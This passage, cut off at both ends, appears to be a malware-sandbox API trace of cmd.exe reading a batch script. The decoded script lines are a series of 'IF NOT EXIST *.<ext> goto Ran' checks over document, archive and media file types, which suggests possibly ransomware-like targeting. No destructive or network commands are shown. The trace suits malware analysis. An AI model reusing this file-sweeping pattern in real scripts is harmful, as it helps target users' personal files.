out: lpWideCharStr="IF NOT EXIST *.url goto Ran\r\n") returned 29 [0038.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.887] GetFileType (hFile=0x74) returned 0x1 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.887] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto Ran\r\n") returned 29 [0038.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.887] GetFileType (hFile=0x74) returned 0x1 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.888] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.zip goto Ran\r\n") returned 2 [0038.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.888] GetFileType (hFile=0x74) returned 0x1 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.888] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=629, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.888] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto Ran\r\n") returned 29 [0038.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.888] GetFileType (hFile=0x74) returned 0x1 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.888] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.rar goto Ran\r\n") returned 2 [0038.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.889] GetFileType (hFile=0x74) returned 0x1 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.889] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto Ran\r\n") returned 29 [0038.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.889] GetFileType (hFile=0x74) returned 0x1 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.889] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=662, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.ink goto Ran\r\n") returned 2 [0038.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.890] GetFileType (hFile=0x74) returned 0x1 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.890] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.890] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto Ran\r\n") returned 29 [0038.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.890] GetFileType (hFile=0x74) returned 0x1 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.890] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.890] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.txt goto Ran\r\n") returned 2 [0038.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.890] GetFileType (hFile=0x74) returned 0x1 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.891] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.891] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto Ran\r\n") returned 29 [0038.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.891] GetFileType (hFile=0x74) returned 0x1 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.891] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.891] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto Ran\r\n") returned 29 [0038.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.891] GetFileType (hFile=0x74) returned 0x1 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.892] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.892] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.vbs goto Ran\r\n") returned 2 [0038.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.892] GetFileType (hFile=0x74) returned 0x1 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.892] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=783, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.892] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto Ran\r\n\r\n") returned 30 [0038.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.892] GetFileType (hFile=0x74) returned 0x1 [0038.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.893] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.docx goto Ran\r\n") returned 2 [0038.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.893] GetFileType (hFile=0x74) returned 0x1 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.893] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto Ran\r\n\n") returned 29 [0038.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.893] GetFileType (hFile=0x74) returned 0x1 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.893] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.doc goto Ran\r\n") returned 2 [0038.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.894] GetFileType (hFile=0x74) returned 0x1 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.894] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto Ran\r\n") returned 29 [0038.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.894] GetFileType (hFile=0x74) returned 0x1 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.894] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp4 goto Ran\r\n") returned 2 [0038.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.895] GetFileType (hFile=0x74) returned 0x1 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.895] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto Ran\r\n") returned 29 [0038.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.895] GetFileType (hFile=0x74) returned 0x1 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.895] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp3 goto Ran\r\n") returned 2 [0038.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.896] GetFileType (hFile=0x74) returned 0x1 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.896] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto Ran\r\n") returned 29 [0038.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.896] GetFileType (hFile=0x74) returned 0x1 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.896] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0038.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.wav goto Ran\r\n") returned 2 [0038.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0038.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.896] GetFileType (hFile=0x74) returned 0x1 [0039.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0039.011] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto Ran\r\n") returned 29 [0039.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.011] GetFileType (hFile=0x74) returned 0x1 [0039.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.jpg 